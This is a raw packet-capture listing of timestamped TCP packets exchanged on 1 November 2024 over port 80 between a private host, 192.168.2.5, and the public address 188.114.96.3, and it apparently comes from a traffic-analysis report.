Nov 1, 2024 15:15:00.546885014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546897888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546904087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546909094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546920061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546926022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546931028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546942949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546945095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546955109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546967983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546998024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546998024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.547804117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547815084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547825098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547836065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547847986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547858000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547868967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547879934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547889948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547900915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547910929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547915936 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.547924042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547935009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547945976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547952890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.547956944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547969103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547977924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.547977924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.547980070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.547991991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548002958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548013926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548048019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548816919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548829079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548839092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548851967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548862934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548873901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548877954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548885107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548896074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548907995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548917055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548923016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548929930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548929930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548933983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548944950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548954010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548957109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548968077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548974037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548979044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548983097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548989058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.548993111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.548995018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549005985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549017906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549027920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549029112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549046993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549084902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549738884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549752951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549763918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549781084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549792051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549803019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549807072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549807072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549814939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549827099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549838066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549850941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549854994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549854994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549860954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549873114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549884081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549887896 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549897909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549901962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549909115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549921989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549932003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549938917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549938917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549943924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549954891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549968004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.549981117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.549993992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550015926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550672054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550683975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550697088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550708055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550719023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550721884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550730944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550741911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550753117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550753117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550764084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550781012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550791979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550803900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550803900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550803900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550803900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550815105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550826073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550837040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550848961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550862074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550868988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550868988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550873041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550883055 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550884962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.550914049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.550967932 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551641941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551660061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551671982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551685095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551697016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551707983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551711082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551711082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551714897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551722050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551732063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551742077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551753044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551753998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551764965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551775932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551789045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551800013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551810980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551816940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551816940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551816940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551822901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551835060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551843882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551856995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.551878929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551878929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551878929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.551928997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552439928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552452087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552462101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552473068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552488089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552500010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552504063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552516937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552529097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552536964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552539110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552550077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552551031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552562952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552573919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552584887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552596092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552607059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552618027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552635908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552635908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552635908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552635908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552635908 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552648067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552656889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552669048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552676916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552681923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552692890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552697897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552705050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.552716970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552769899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.552769899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553358078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553369999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553385019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553395987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553400993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553406954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553411007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553411007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553422928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553435087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553446054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553457975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553467989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553471088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553471088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553482056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553492069 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553494930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553507090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553517103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553528070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553529024 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553538084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553548098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553550959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553563118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553566933 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553574085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553585052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553586006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553595066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553597927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553606987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553622961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553631067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553634882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.553659916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.553684950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554316044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554328918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554338932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554349899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554361105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554379940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554390907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554403067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554404020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554404020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554414034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554419994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554429054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554440022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554450989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554457903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554457903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554462910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554476023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554480076 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554486990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554491043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554497957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554511070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554521084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554533005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554544926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554550886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554550886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554558039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554568052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554572105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554579973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554591894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.554603100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554615974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.554645061 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555252075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555263996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555274010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555285931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555295944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555308104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555320978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555334091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555334091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555335999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555336952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555349112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555361032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555366993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555372000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555383921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555394888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555404902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555404902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555406094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555417061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555428982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555433989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555439949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555453062 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555454016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555464983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555476904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555480957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555489063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555500031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555505991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555510044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555516958 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555524111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.555557013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.555557966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556046009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556057930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556066990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556077003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556138992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556138992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556138992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556179047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556190014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556195974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556206942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556231976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556240082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556375027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556386948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556396961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556408882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556417942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556418896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556431055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556442022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556452036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556458950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556463003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556474924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556485891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556494951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556494951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556497097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556509018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556519985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556530952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.556541920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.556541920 CET	49874	80	192.168.2.5	188.114.96.3
